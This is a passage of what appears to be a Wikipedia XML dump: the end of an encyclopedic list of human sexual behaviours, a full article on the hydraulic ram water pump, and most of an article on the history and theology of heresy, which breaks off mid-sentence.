:''There are many variations of sexual activities, and often multiple names for any given practice.  For more detail see the comprehensive ''[[list of sex positions]]'' and ''[[list of sexual slang]].''

===General===
*[[Ageplay]]
*[[Anal sex]]
**[[Fisting|Handballing]]
**[[Pegging (sexual practice)|Pegging]]
*[[Autoeroticism]]
*[[Casual sex]]
*[[Cross dressing]]
*[[Dirty talk]]
*[[Fisting]]
*[[Foreplay]] (aka &quot;petting&quot;)
**[[Lingerie]] (erotic clothing)
**[[Cross dressing]]
*[[Group sex]]
**[[Swinging]]
**[[Gangbang]]ing
**[[Orgies]]
**[[Ménage à trois]] (threesomes)
*[[Hogging]]
*[[Masturbation]]
**[[Anal masturbation]]
**[[Sex toys]], using
**[[Fisting|Handballing]]
*[[Oral sex]]
**[[Cunnilingus]]
**[[Fellatio]]
**[[Rimming]]
**[[Felching]]
**[[Tea bagging]]
**[[Snowballing (sexual practice)|Snowballing]]
*[[Outercourse]]
*[[Play piercing]]
*[[Pornography]]
*[[Premarital sex]]
*[[Sexual roleplaying|Roleplay]]
*[[Safe sex]]
*[[Seduction]]
*[[Sensual massage]]
*[[List of sex positions|Sex positions]]
*[[Sex toys]], using
**[[Vibrator]]s
**[[Dildo]]s
**[[Strap-on dildo]]s
**[[Sybian]]s
**[[Butt-plug]]s
**[[Sexual lubricant]]s
**[[Sex dolls]]
**[[Nipple clamp]]s
**[[Thumb clamps]] and [[Toe clamps]]
**[[Anal beads]]
**[[Sex games]]
**[[Artificial vagina|Pocket pussies]] or [[Artificial vagina|Masturbation sleeve]]s
**[[Fleshlight]]s
**[[Cock-ring]]s
**[[Penis sleeve]]s
**[[Penis extension]]s
**[[Ben wah balls]]
**[[Kegel exerciser]]s
*[[Sexual fetishism]]
*[[Sexual intercourse]]
*[[Sexual intercourse|Vaginal sex]]
*[[Sexual roleplaying]]
*[[Wax play]]

===Specialized BDSM and paraphilia related===
Generally less common, but still widespread, are the various [[Paraphilia|paraphilias]]. Some of the more common ones are:

* [[BDSM]]
**[[List of BDSM organizations]]
**[[List of BDSM equipment]]
**[[Bondage (BDSM)|Bondage]]
**[[List of bondage positions]]
**[[Sadism and Masochism|S&amp;amp;M]]
*** [[Sexual masochism]] is the recurrent urge or behavior of wanting to be humiliated, beaten, bound, or otherwise made to suffer.
*** [[Sexual sadism]] is the recurrent urge or behavior involving acts in which the pain or humiliation of the victim is sexually exciting. 
**[[Discipline]]
***[[Domination and submission]]
**[[Impact play]]
***[[Erotic Spanking]]
***[[Flogging]]
***[[Paddle (spanking)|Paddling]]
***[[Caning]]
* [[Exhibitionism]] is the recurrent urge or behavior to expose one's genitals to an unsuspecting person.
* [[Sexual fetish|Fetishism]] is the use of non-sexual or nonliving objects to gain sexual excitement.
**[[Foot fetishism]]
**[[Leather fetishism]]
**[[Rubber fetishism]]
**[[erotic spanking|Spanking]]
**[[Transvestic fetishism]] is [[cross-dressing|wearing clothes of another gender]] for sexual reasons.
* [[Pedophilia|Pedophilia]] is the sexual attraction to prepubescent children.
* [[Perversion]]
* [[Polyamory]]
* [[Statuephilia]] (Pygmalionism)
* [[Frotteurism]] is the recurrent urges or behavior of touching or rubbing against a nonconsenting person.
* [[Tribadism]]
* [[Voyeurism]] is the recurrent urge or behavior to observe an unsuspecting person who is naked, disrobing or engaging in sexual activities.
* [[Zoophilia]], the attraction to other species as partners.

===Specialized verbal or visual activities===
Some forms of sexual activity involve someone else, but not touching the other:

* [[Dirty talk]]
**[[Phone sex]]
**[[Cybersex]]
* [[Exhibitionism]]
* [[Voyeurism]]

===Specialized Other===
Other special forms of human sexual behaviour:

* [[Prostitution]]
* [[Orgy|Orgies]]
* [[Sexual roleplaying|Role-playing]]

==See also==

{{commonscat|sex}}
* [[Sex]]
* [[Human sexuality]]
* [[History of sex]]
* [[Sexual orientation]]
* [[Sex education]]
* [[Sexual slang]]
* [[List of sex positions]]
* [[List of sexology topics]]
* [[Men who have sex with men]]
* [[Homosexuality]]
* [[Queer]]
* [[Gay]]

== External links ==

* [http://www2.hu-berlin.de/sexology/GESUND/ARCHIV/SEN/INDEX.HTM Human Sexuality: An Encyclopedia]
* [http://www2.rz.hu-berlin.de/sexology/GESUND/ARCHIV/IES/BEGIN.HTM The International Encyclopedia of Sexuality]
*[http://www2.rz.hu-berlin.de/sexology/GESUND/ARCHIV/GUS/GUS_MAIN_INDEX.HTM Project Growing Up Sexually]

[[Category:Human behavior|Sexual behavior]]
[[Category:Human sexuality|Sexual behavior]]
[[Category:LGBT|Sexual behavior]]
[[Category:Personal life|Sexual behavior]]
[[Category:Self|Sexual behavior]]
[[Category:Sexual health|Sexual behavior]]

[[fr:Comportement sexuel humain]]
[[lt:Seksas]]
[[nl:Seksualiteit]]
[[pl:Seks]]
[[pt:Comportamento sexual humano]]
[[fi:Seksuaalinen kanssakäyminen]]
[[zh:?????]]</text>
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  <page>
    <title>Hydraulic ram</title>
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      <comment>/* External Links */ lowercase</comment>
      <text xml:space="preserve">:''The use of the term hydraulic ram below describes a type of water pump''.
:''For the use of the term in vehicle extraction, see [[Jaws of Life]]''.
:''&quot;Hydraulic ram&quot; is sometimes used to mean a [[pneumatic cylinder]]''.

[[Image:DSCN3606-hydraulic-ram.JPG|thumb|right|A hydraulic ram that drives a fountain at the [[Centre for Alternative Technology]]]]

A '''hydraulic ram''' is a water-powered [[cyclic pump]]. It harnesses the forces of [[water hammer]]  to [[pump]] a portion of the water being used to power the pump to a point higher than where the water originally started.  It is sometimes used in remote areas, where the right conditions exist, since it requires no outside source of [[Power (physics)|power]] other than the [[kinetic energy]] of falling water.

==History==
In [[1772]] [[John Whitehurst]] of [[Cheshire]] in England invented a manually controlled precursor of the hydraulic ram called the &quot;pulsation engine&quot;.  The first one he installed, in [[1775]] at [[Oulton]], Cheshire, raised water to a height of 16 [[ft]] (4.9[[metre|m]]). He installed another in an [[Ireland|Irish]] property in [[1783]]. He did not [[patent]] it, and details are obscure, but it is known to have had an air vessel.  

The first self-acting ram pump was invented by the Frenchman [[Montgolfier brothers|Joseph Michel Montgolfier]] in [[1796]] for raising water in his [[paper mill]] at [[Voiron]]. His friend [[Matthew Boulton]] took out an [[England|English]] patent on his behalf in [[1797]]. The sons of Montgolfier obtained an English patent for an improved version in [[1816]], and this was acquired, together with Whitehurst's design, in [[1820]] by [[Josiah Easton]], a [[Somerset]]-born engineer who had just moved to [[London]].  

Easton's firm, inherited by his son [[James Easton|James]] ([[1796]] - [[1871]]), grew during the [[nineteenth century]] to become one of the more important engineering manufacturers in [[Britain]], with a large works at [[Erith]], [[Kent]]. They specialised in water supply and [[sewerage]] systems world-wide, as well as land [[drainage]] projects. Eastons had a good business supplying rams for water supply purposes to large [[country house]]s, and also to farms and village communities, and a number of their installations still survive in [[As of 2004|2004]].

The firm was eventually closed in [[1909]], but the ram business was continued by [[James R Easton]]. In [[1929]] it was acquired by [http://www.greenandcarter.com/ Green &amp; Carter], of [[Winchester]], [[Hampshire]], who were engaged in the manufacturing and installation of the well-known [[Vulcan ram|Vulcan]] and [[Vacher]] Rams. Green &amp; Carter now function from [[Ashbrittle]], near [[Wellington]], Somerset.

The first [[United States of America|US]] patent was issued to [[J. Cerneau]] and [[S.S. Hallet]] in [[1809]]. American interest in hydraulic rams picked up around [[1840]], as further patents were issued and domestic companies started offering rams for sale. Toward the end of the 19th Century, interest waned as [[electricity]] and electric [[pump]]s became widely available. 

By the end of the [[twentieth century]] interest in hydraulic rams has revived, due to the needs of sustainable [[technology]] in [[developing countries]], and [[energy conservation]] in developed ones.

==Construction and principle of operation==
A hydraulic ram has only two moving parts, a spring or weight loaded &quot;waste&quot; [[valve]] sometimes known as the &quot;clack&quot; valve and a &quot;delivery&quot; [[check valve]], making it cheap to build, easy to maintain, and very reliable. In addition, there is a drive pipe supplying water from an elevated source, and a delivery pipe, taking a portion of the water that comes through the drive pipe to an elevation higher than the source. 

===Sequence of operation===
[[Image:Hydraulic Ram.gif|thumb|right|250px|Hydraulic ram:&lt;br&gt;
1. Inlet - drive pipe;&lt;br&gt;
2. Free flow at waste valve;&lt;br&gt;
3. Outlet - delivery pipe;&lt;br&gt;
4. Waste valve;&lt;br&gt;
5. Delivery [[check valve]];&lt;br&gt;
6. Pressure vessel]]
Initially, the waste valve 4 is open, the delivery valve 5 is closed, The water in the drive pipe 1 starts to flow under the force of [[gravity]] and picks up speed and [[kinetic energy]] until it forces the waste valve closed. The [[momentum]] of the water flow in the supply pipe against the now closed waste valve causes a [[water hammer]], raises the pressure in the pump and opens the delivery valve, so some water flows into the delivery pipe. Since this water is being forced uphill through the delivery pipe farther than it is falling downhill from the source, the flow slows down and when it reverses the delivery check valve closes. If all water flow has stopped, the loaded waste valve reopens against the now [[hydrostatic pressure|static head]], allowing the process to begin again.

A common refinement is to add a pressure vessel containing some air between the pump and the delivery pipe. This cushions the shock when the waste valve closes and improves the efficiency by allowing a more constant flow through the delivery pipe. In a similar way a supply pipe and a [[barrel]] or a stand pipe may be added above the drive pipe so that the drive pipe does not have to be made too long. The optimum length of the drive pipe is 5 to 12 times the vertical distance between the source and the pump, or 500 to 1000 times the diameter of the drive pipe, whichever is less. This length of drive pipe typically results in a period between pulses of 1 to 2 seconds. A typical efficiency is 60%, but up to 80% is possible.

===Common operational problems===
Some common operational problems are intrusion of air into the drive pipe, blockage of the intake or valves with debris, knocking due to too little air in the pressure vessel, and freezing in winter.


==External links==
*[http://www.clemson.edu/irrig/Equip/ram.htm Details of how to make a homemade hydraulic ram]
*[http://www.greenandcarter.com/ Green and Carter]
*[http://cooperage.ne-design.net/ram-pump.html What is a Ram Pump?]

[[Category:Pumps]]
[[Category:Water]]

[[cs:Vodní trkač]]
[[de:Hydraulischer Widder]]
[[he:בוכנה הידראולית]]
[[sv:Vädurspump]]</text>
    </revision>
  </page>
  <page>
    <title>Heresy</title>
    <id>14341</id>
    <revision>
      <id>42084427</id>
      <timestamp>2006-03-03T18:49:36Z</timestamp>
      <contributor>
        <ip>168.224.1.14</ip>
      </contributor>
      <text xml:space="preserve">'''Heresy''', according to the [[Oxford English Dictionary]], is a &quot;theological or religious opinion or [[doctrine]] maintained in opposition, or held to be contrary, to the [[Catholic]] or [[Orthodox]] doctrine of the Christian Church, or, by extension, to that of any church, creed, or religious system, considered as orthodox. By extension, [heresy is an] opinion or doctrine in philosophy, politics, science, art, etc., at variance with those generally accepted as authoritative.&quot;

==Etymology==
The word &quot;heresy&quot; comes from the [[Greek language|Greek]] αιρεσις, ''hairesis'' (from αιρεομαι, ''haireomai'', &quot;choose&quot;), which means either a ''choice'' of beliefs or a ''faction'' of dissident believers. It was given wide currency by [[Irenaeus]] in his tract ''Contra Haereses'' (''Against Heresies'') to describe and discredit his opponents in the early Christian Church.  He described his own position as orthodox (from ''ortho-'' &quot;straight&quot; + ''doxa'' &quot;thinking&quot;) and his position eventually evolved into the position of the early Christian Church.

Thus it will be perceived that &quot;heresy&quot; has no purely objective meaning: the category exists only from the point-of-view of a position within a [[sect]] that has been previously defined as &quot;orthodox&quot;. Thus, too, any [[nonconformist]] view within any field may be perceived as &quot;heretical&quot; by others within that field who  are convinced that their view is &quot;orthodox&quot;; in the sciences this extension is made [[tongue-in-cheek]].  

Heretics usually do not define their own beliefs as heretical. Heresy is a value-judgment and the expression of a view from within an established [[belief system]]. For instance, Roman Catholics held Protestantism as a heresy while some non-Catholics considered Catholicism the &quot;[[Great Apostasy]].&quot; 

For a heresy to exist there must be an authoritative system of dogma designated as orthodox, such as those proposed by [[Roman Catholic Church|Catholicism]]. The term ''orthodox'' is used in [[Eastern Orthodoxy]], some [[Protestantism|Protestant]] churches, in [[Islam]], some [[Judaism|Jewish denominations]], and to a lesser extent in other [[religion|religions]]. Variance from orthodox [[Marxism-Leninism]] is described as &quot;right&quot; or &quot;left deviationism.&quot; The [[Church of Scientology]] uses the term &quot;squirreling&quot; to refer to unauthorized alterations of its teachings or methods.

==Religious heresy==
===Christianity===
The use of the term ''heresy'' in the context of Christianity is less common today, with some notable exceptions: see for example [[Rudolf Bultmann]] and the ''character'' of debates over [[ordination of women]] and gay priests. Popular imagination relegates &quot;heresy&quot; to the [[Middle Ages]], when the Church's power in Europe was at its height, but the case of the scholar and humanist [[Giordano Bruno]] was not the last execution for heresy. Heresy remained an officially punishable offense in Roman Catholic nations until the late 18th century. In Spain, heretics were prosecuted and punished during the [[Counter-Enlightenment]] there after the Napoleonic Era.

====Roman background====
A concern for uniform practice of ritual, which Romans conceived as a duty entirely of a civic and public nature, distinguished the Roman approach to religion from the Greeks', where each locality preserved its archaic characteristics. [[Plutarch]], in his ''Life of [[Numa Pompilius]]'' ascribes to the legendary [[King of Rome]] the institution of ''[[pontifex maximus]]'' which, from Plutarch's 2nd century AD point of view &quot;was to declare and interpret the divine law, or, rather, to preside over sacred rites; he not only prescribed rules for public ceremony, but regulated the sacrifices of private persons, not suffering them to vary from established custom, and giving information to every one of what was requisite for purposes of worship or supplication.&quot; 

The Romans welcomed new gods into the [[Pantheon%2C_Rome|pantheon]].  But more important than belief in some or none of the gods was participation in Roman rituals.  For example, Christians were not persecuted for believing in one God, nor were they persecuted for disbelieving in the [[Pantheon_%28gods%29|pantheon]] of [[Roman_gods|roman gods]].  Instead, they were persectued because they refused to participate in civic and public rituals and duty, such as their refusal to burn incense to the Roman emperor. Deviation from the official norm amounted to [[impiety]]: heresy was foreign to the pagan worldview.

====Early Christian heresies====
Urgent concerns with the uniformity of belief and practice have characterized Christianity from the outset. The process of establishing orthodox Christianity was set in full swing when Paul wrote the epistles that comprise a large part of the New Testament. On many occasions in Paul's epistles, he defends his own apostleship, and urges Christians in various places to beware of false teachers, or of anything contrary to what was handed to them by him. The epistles of John and Jude also warn of false teachers, as does the writer of the ''[[Book of Revelation]]''. 

In the middle of the 2nd century, three unorthodox groups of Christians adhered to a range of doctrines that divided the Christian communities of Rome: the teacher [[Marcion]], the [[pentecostal]] outpourings of ecstatic Christian prophets of a [[continuing revelation]], in a movement that was called &quot;[[Montanism]]&quot; because it had been initiated by [[Montanus]] and his female disciples, and the [[Gnosticism|gnostic]] teachings of [[Valentinius|Valentinus]].  Early attacks upon alleged heresies formed the matter of [[Tertullian]]'s ''Prescription Against Heretics'' (in 44 chapters, written from Rome), and of [[Irenaeus]]' ''Against Heresies'' (''ca'' 180, in five volumes), written in Lyon after his return from a visit to Rome. The letters of [[Ignatius of Antioch]] and [[Polycarp of Smyrna]] to various churches warned against false teachers, and the ''[[Epistle of Barnabas]]'' accepted by many Christians as part of Scripture in the 2nd century, warned about [[Judaizing|mixing Judaism with Christianity]], as did other writers, leading to decisions reached in the [[first ecumenical council]], which was convoked by the Emperor Constantine at Nicaea in 325, in response to further disruptive polemical controversy within the Christian community, in that case [[Arianism|Arianist]] disputes over the nature of the Trinity. 

During those first three centuries, Christianity was effectively outlawed by requirements to venerate the Roman emperor and Roman gods. Consequently, when the Church labeled its enemies as heretics and cast them out of its congregations or severed ties with dissident churches, it remained without the power to persecute them. However, those called &quot;heretics&quot; were also called a number of other things (e.g. &quot;fools,&quot; &quot;wild dogs,&quot; &quot;servants of Satan&quot;), so the word &quot;heretic&quot; had  negative associations from the beginning, and intentionally so.

Before 325 AD, the &quot;heretical&quot; nature of some beliefs was a matter of much debate within the churches. After 325 AD, some opinion was formulated as dogma through the ''canons'' promulgated by the councils. Each phrase in the [[Nicene Creed]], which was hammered out at the [[First Council of Nicaea|Council of Nicaea]], addresses some aspect that had been under passionate discussion and closes the books on the argument, with the weight of the agreement of the over 300 bishops in attendance. [Constantine had invited all 1800 bishops of the Christian church (about 1000 in the east and 800 in the west). The number of participating bishops cannot be accurately stated; Socrates Scholasticus and Epiphanius of Salamis counted 318; Eusebius of Caesarea, only 250.]  In spite of the agreement reached at the council of 325  the [[Arianism|Arians]] who had been defeated dominated most of the church for the greater part of the fourth century, often with the aid of Roman emperors who favored them. In the East, the successful party of [[Cyril of Jerusalem|Cyril]] cast out [[Nestorius]] and his followers as heretics and [[Book burning|collected and burned his writings]].

Irenaeus was the first to argue that his &quot;proto-orthodox&quot; position was the same faith that [[Jesus]] gave to the [[apostle]]s, and that the identity of the apostles, their successors, and the teachings of the same were all well-known public knowledge. This was therefore an early argument supported by [[apostolic succession]]. Irenaeus first established the doctrine of four gospels and no more, with the synoptic gospels interpreted in the light of ''[[Gospel of John|John]]''. Irenaeus' opponents, however, claimed to have received secret teachings from Jesus via other apostles which were not publicly known. ([[Gnosticism]] is predicated on the existence of such hidden knowledge, but brief references to private teachings of Jesus have also survived in the canonic Scripture.) Irenaeus' opponents also claimed that the wellsprings of divine inspiration were not dried up, which is the doctrine of [[continuing revelation]].

The Hispanic ascetic [[Priscillian of Avila]] was the first person to be executed for heresy, only sixty years after the First Council of Nicaea, in [[385]]. He was executed at the orders of Emperor [[Magnus Maximus]], over the procedural objections of bishops [[Ambrose of Milan]] and [[Martin of Tours]], who claimed the Churches' right to punish its own.

A number of the beliefs the Catholic Church has come to regard as heretical have to do with [[Christology]], that is, with the nature of Jesus Christ and the relationship between Christ and God the Father. The [[orthodox]] teaching, as it developed, is that Christ was fully divine and at the same time fully human, and that the three persons of the [[Trinity]] are co-equal and co-eternal.  This position, it should be noted, was not formally established as the orthodox position until it was challenged in the fourth century by [[Arius]] ([[Nicene creed]] in 325); nor was the [[New Testament]] put into its present form until the end of the 4th century ([[Athanasius]] first lists the 27 books we have in the current New Testament circa 367, but disputes continued; see [[Biblical Canon]]).  

Over the years, numerous Christian scholars and preachers have disagreed with the Church on various issues or doctrines. When the Church has become aware of these beliefs, they have been condemned as heretical, and with the [[East-West Schism]] finalized in the 11th century, and the split in the Western Church in the 16th, each section has identified the others as &quot;heretical&quot;. Historically, this often happened when the belief challenged, or was seen to challenge, Church authority, or drew a movement of followers who challenged the established order socially.  Unfortunately, for entirely secular reasons, some influential people have had an interest in maintaining the [[status quo]] or condemning a group they wished to be removed.  The Church's internal explanations for its actions were based purely on objection to beliefs and philosophies that ran contrary to its interpretation of [[scripture]] and its official interpretation of holy tradition.

*[[Adoptionism]]
*[[Antinomianism]]
*[[Apollinarism]]
*[[Arianism]]
*[[Audianism]]
*[[Bogomils]]
*[[Bosnian Church]]
*[[Cathar|Catharism]]
*[[Chiliasm]]
*[[Docetism]]
*[[Donatism]]
*[[Euchites]]
*[[Gnosticism]]
*[[Henry the Monk]]
*[[Jansenism]]
*[[Luciferians]]
*[[Lollardry]]/[[Lollardism]]
*[[Mandaeism]]
*[[Manichaeism]]
*[[Marcionism]]
*[[Monarchianism]]
*[[Monophysitism]]
*[[Monothelitism]]
*[[Montanism]]
*[[Nestorianism]]
*[[Ophites]]
*[[Patripassianism]]
*[[Paulicianism]]
*[[Pelagianism]]/[[Semipelagianism]]
*[[Peter of Bruis]]
*[[Predestination]]
*[[Priscillianism]]
*[[Psilanthropism]]
*[[Sabellianism]]
*[[Socianism]]
*[[Waldensians]]

See also [[Manichaeism]], a pre-Christian religion that influenced early Christians, notably Augustine, often in ways held to be heretical.

====Heresy in Catholicism====
Heresy is defined by [[Thomas Aquinas]] as &quot;a species of infidelity in men who, having professed the [[faith]] of Christ, corrupt its [[dogma|dogmas]].&quot; The [[Roman Catholic Church| Catholic Church]] teaches that its doctrines are the authoritative understandings of the faith taught by Christ and that the Holy Spirit protects the Church from falling into error when teaching these doctrines. To deny one or more of those doctrines, therefore, is to deny the faith of Christ. Heresy is both the nonorthodox belief itself, and the act of holding to that belief.

While the term is often used by laymen to indicate any [[orthodoxy|nonorthodox]] belief such as [[Paganism]], by definition heresy can only be committed by someone who considers himself a Christian, but rejects the teachings of the Catholic Church. A person who completely renounces [[Christianity]] is not considered a heretic, but an [[apostasy|apostate]], and a person who renounces the authority of the Church but not its teachings is a [[schism]]atic.

The Church makes several distinctions as to the seriousness of an individual [[heterodoxy]] and its closeness to true heresy. Only a belief that directly contravenes an [[Article of Faith]], or that has been explicitly rejected by the Church, is labelled as actual &quot;heresy.&quot; 

Canon 751 of the Catholic Church's Code of [[Canon Law]] promulgated by [[Pope John Paul II]] in 1983 (abbreviated &quot;C.I.C.&quot; for Codex Iuris Canonici), the little-known juridical systematization of ancient law currently binding the world's one billion Latin Rite Catholics, defines heresy as the following: &quot;Heresy is the obstinate denial or doubt after the reception of baptism of some truth which is to be believed by divine and Catholic faith.&quot;  The essential elements of canonical heresy therefore technically comprise 1) obstinacy, or continuation in time; 2) denial (a proposition contrary or contradictory in formal logic to a dogma) or doubt (a posited opinion, not being a firm denial, of the contrary or contradictory proposition to a dogma); 3) after reception of valid baptism; 4) of a truth categorized as being of &quot;Divine and Catholic Faith,&quot; meaning contained directly within either Sacred Scripture or Sacred Tradition per Can. 750 par. 1 C.I.C. (&quot;de fide divina&quot;) AND proposed as 'de fide divina' by either a Pope having spoken solemnly &quot;[[ex cathedra]]&quot; on his own (example: dogmatic definition of the Assumption of the Blessed Virgin Mary in 1950), or defined solemnly by an Ecumenical Council in unison with a Pope (ex: the definition of the Divinity of Christ in the Council of Chalcedon) (&quot;de fide catholica&quot;).

An important distinction is that between ''formal'' and ''material heresy''. The difference is one of the heretic's subjective belief about his opinion. The heretic who is aware that his belief is at odds with Catholic teaching and yet continues to cling to his belief pertinaciously is a formal heretic. This sort of heresy is sinful because in this case the heretic knowingly holds an opinion that, in the words of the first edition of the ''Catholic Encyclopedia'', &quot;is destructive of the virtue of Christian faith . . . disturbs the unity, and challenges the Divine authority, of the Church&quot; and &quot;strikes at the very source of faith.&quot; Material heresy, on the other hand, means that the individual is unaware that his heretical opinion denies, in the words of Canon 751, &quot;some truth which is to be believed by divine and Catholic faith.&quot; The opinion of a material heretic is still heresy, and it produces the same objective results as formal heresy, but because of his ignorance he commits no sin by holding it.

The penalty for a baptized Catholic above the age of 18 who obstinately, publicly, and voluntarily manifests his or her adherence to an objective heresy is automatic [[excommunication]] (&quot;latae sententiae&quot;) according to Can. 1364 par.1 C.I.C..

A belief that the church has not directly rejected, or that is at variance with less important church teachings, is given the label, ''sententia haeresi proxima'', meaning &quot;opinion approaching heresy.&quot;  A [[theology|theological]] [[Logical argument|argument]], [[belief]], or [[theory]] that does not constitute heresy in itself, but which leads to conclusions which might be held to do so, is termed ''propositio theologice erronea'', or &quot;erroneous theological proposition.&quot; Finally, if the theological position only suggests but does not necessarily lead to a doctrinal conflict, it might be given the even milder label of ''sententia de haeresi suspecta, haeresim sapiens'', meaning &quot;opinion suspected, or savoring, of heresy.&quot;

Some significant controversies of doctrine have risen over the course of history. At times there have been many heresies over single points of doctrine, particularly in regard to the nature of the [[Trinity]], the doctrine of [[transubstantiation]] and the [[immaculate conception]].

===== Types of heretics =====
# the heretic impenitent and not relapsed (for the first time)
# the heretic impenitent and relapsed (for the first time was penitent now is impenitent)
# the heretic penitent and relapsed (for the first time was penitent now is penitent too, but relapsing was the capital offence)
# the heretic negative (who denied his crime)
# the heretic contumacious (who absconded)

Since the Church doesn't thirst for blood ''(ecclesia non sitit sanguinem)'', the first four types were all delivered over to the secular arm. The state usually immediately punished heresy with [[death sentence]]. The longest delay could be five days. The custom that the impenitent heretics (the first two types) were cast into the flames alive and the penitent (the third type) were first strangled or hanged and then burned was not always observed.

=====Catholic response to heresy=====
The Church has always fought in favor of orthodoxy and the [[Pope|Pope's]] authority as the successor of [[St. Peter]] to determine truth. At various  times in history, it has had varying degrees of power to resist or punish heretics, once it had defined them.

In the early church, heresies were sometimes determined by a selected council of bishops, or [[ecumenical council]], such as the First Council of Nicaea.  The orthodox position was established at the council, and all who failed to adhere to it would thereafter be considered heretics. The church had little power to actually punish heretics in the early years, other than by [[excommunication]].   To those who accepted it, an excommunication was the worst form of punishment possible, as it separated the individual from the body of Christ, his Church, and prevented [[salvation]]. Excommunication, or even the threat of excommunication, was enough to convince many a heretic to renounce his views. [[Priscillian]] achieved the distinction of becoming the first Christian burned alive for heresy in [[385]] at [[Trier|Treves]].

In later years, the Church instituted the [[Inquisition]], an official body charged with the suppression of heresy. The Inquisition was active in several nations of [[Europe]], particularly where it had fervent support from the civil authority. The [[Albigensian Crusade]] ([[1209]]-[[1229]]) was part of the [[Roman Catholic Church | Catholic Church]]'s efforts to crush the [[Cathars]]. It is linked to the movement now known as the [[Medieval Inquisition]].  The [[Spanish Inquisition]] was particularly brutal in its methods, which included the [[burning at the stake]] of many heretics. However, it was initiated and substantially controlled by [[Ferdinand II of Aragon|King Ferdinand of Spain]] rather than the Church; King Ferdinand used political leverage to obtain the Church's tacit approval.  Another example of a medieval heretic (according to some, proto-Protestant) movement is the [[Hussite]] movement in the [[Czech lands]] in the early [[1400s]].

It is widely reported that the last person to be burned alive at the stake on orders from Rome was [[Giordano Bruno]], executed in [[1600]] for a collection of heretical beliefs including [[Copernicus|Copernicanism]] and (probably more important) an unlimited universe with innumerable inhabited worlds. The last case of an execution at an ''[[auto de fe]]'' by the Spanish Inquisition was the schoolmaster [[Cayetano Ripoll]], accused of [[deism]] and executed by [[garroting]] [[July 26]], [[1826]] in [[Valencia]] after a two-year trial.

The development of the [[printing press]] greatly hampered the ability of the church to suppress dissidents, with the result that [[Martin Luther]] was able to successfully fight the Papacy and forge the [[Protestant Reformation]].

=====Modern Catholic response to Protestantism=====
The Catholic Church, in the spirit of ecumenism, tends not to refer to [[Protestantism]] as a heresy nowadays, even if the teachings of Protestantism are indeed heretical from a Catholic perspective. Modern usage favors referring to Protestants as &quot;separated brethren&quot; rather than &quot;heretics&quot;, although the latter is still on occasion used vis-a-vis Catholics who abandon their Church to join a Protestant denomination. Many Catholics consider Protestantism to be material rather than formal heresy, and thus non-culpable.

Some of the doctrines of Protestantism that the Catholic Church considers heretical are the belief that the [[Bible]] is the only source and rule of faith (&quot;[[sola scriptura]]&quot;), that faith alone can lead to salvation (&quot;[[sola fide]]&quot;) and that there is no sacramental, ministerial priesthood attained by ordination, but only a universal priesthood of all believers, as first introduced by Luther.

====Protestantism and heresy====
The main meaning of 'heresy' to a Protestant is the concept of telling lies about God. It is not at its core a matter of opposing the authorities (though, like all authorities religious or otherwise, Protestant leaders often invoke the concepts of heresy and [[apostasy]] to defend themselves from attack). Protestants chose the difficult course of action, to try to steer a middle course between (1) respecting God enough to care that humans tell the truth about God, and (2) being tolerant and loving of those who honestly see things differently, giving them an open ear because there might be something to learn from them.  Protestant sects which seek to reestablish what they see as ancestral Christian principles -- i.e. [[Fundamentalism|Fundamentalists]] -- sometimes refer to Catholicism (or indeed other Protestant groups) as heretical. One aspect of Catholicism many Protestants regard as heresy against original Christianity is the [[Veneration of saints|veneration of the saints]], and in particular the [[cultus]] of the [[Mary, the mother of Jesus|Virgin Mary]]. Another is the doctrine of [[transubstantiation]], the event where the bread and wine at Mass becomes the Body and Blood of Christ.

===Heresy in Judaism===
[[Orthodox Judaism]] considers views departing from the traditional [[Jewish principles of faith]] to be heretical. [[Haredi Judaism]] holds that all Jews who reject their specific understanding of [[Maimonides]]'s 13 principles of Jewish faith are heretics. Haredi Jews and some [[Modern Orthodox Judaism|Modern Orthodox]] Jews consider [[Reform Judaism|Reform]] and [[Reconstructionist Judaism]] to be heretical movements, and regard most of [[Conservative Judaism]] as heretical. The liberal wing of Modern Orthodoxy is more tolerant of Conservative Judaism, particularly its right wing, as there is some theological and practical overlap between these groups.

The Greek term άίρεσις originally denoted &quot;division,&quot; &quot;sect,&quot; &quot;religious&quot; or &quot;philosophical party,&quot; and is applied by [[Josephus]] to the three Jewish sects — [[Sadducee]]s, [[Pharisee]]s, and [[Essenes]].  The specific rabbinical term for heresies, or religious divisions due to an unlawful spirit, is &quot;minim&quot; (lit. &quot;kinds {of belief}&quot;;  the singular &quot;min,&quot; for &quot;heretic&quot; or &quot;Gnostic,&quot; is coined idiomatically, like &quot;goy&quot; and &quot;'am ha-aretz&quot;;). 

The law &quot;You shall not cut yourselves&quot; () is interpreted by the Rabbis: &quot;You shall not form divisions, but shall form one bond.&quot; (Source: [[Midrash]] Sifre on Deuteronomy 96)

Besides the term &quot;min&quot; for &quot;heretic,&quot; the [[Talmud]] uses the words &quot;Hitsonim&quot; (outsiders), &quot;[[apikoros]],&quot; and &quot;kofer ba-Torah&quot; (R. H. 17a), or &quot;kofer ba-'ikar&quot; (he who denies the fundamentals of faith; Pes. xxiv. 168b); also &quot;poresh mi-darke tsibbur&quot; (he who deviates from the customs of the community; Tosef., Sanh. xiii. 5; R. H. 17a). Of all these it is said that they are consigned to Gehinnom for all eternity (Tosef., Sanh. l.c.; comp. ib. xii. 9, apparently belonging to xiii. 5: &quot;He who casts off the yoke [of the Law], and he who severs the Abrahamic covenant; he who interprets the Torah against the halakic tradition, and he who pronounces in full the Ineffable Name—all these have no share in the world to come&quot;).

The [[Mishnah]] says the following have no share in the world to come: &quot;He who denies that the Torah is divinely revealed, and the apiḳoros.&quot; R. Akiba says, &quot;also he who reads heretical books&quot;. This is explained in the Talmud (Sanh. 100b) to mean &quot;sifre Ẓeduḳim&quot; (Sadducean writings); but this is an alteration by the censor of &quot;sifre ha-Minim&quot; (books of the Gnostics or Heretics). The Biblical version, &quot;That ye seek not after your own heart&quot; (Num. xv. 39), is explained (Sifre, Num. 115; Ber. 12b) as &quot;Ye shall not turn to heretic views [&quot;minut&quot;] which lead your heart away from God&quot; (see Maimonides, &quot;Yad,&quot; 'Akkum, ii. 3).

In summarizing the Talmudic statements concerning heretics in Sanh. 90-103, Maimonides (&quot;Yad,&quot; Teshubah, iii. 6-8) says:

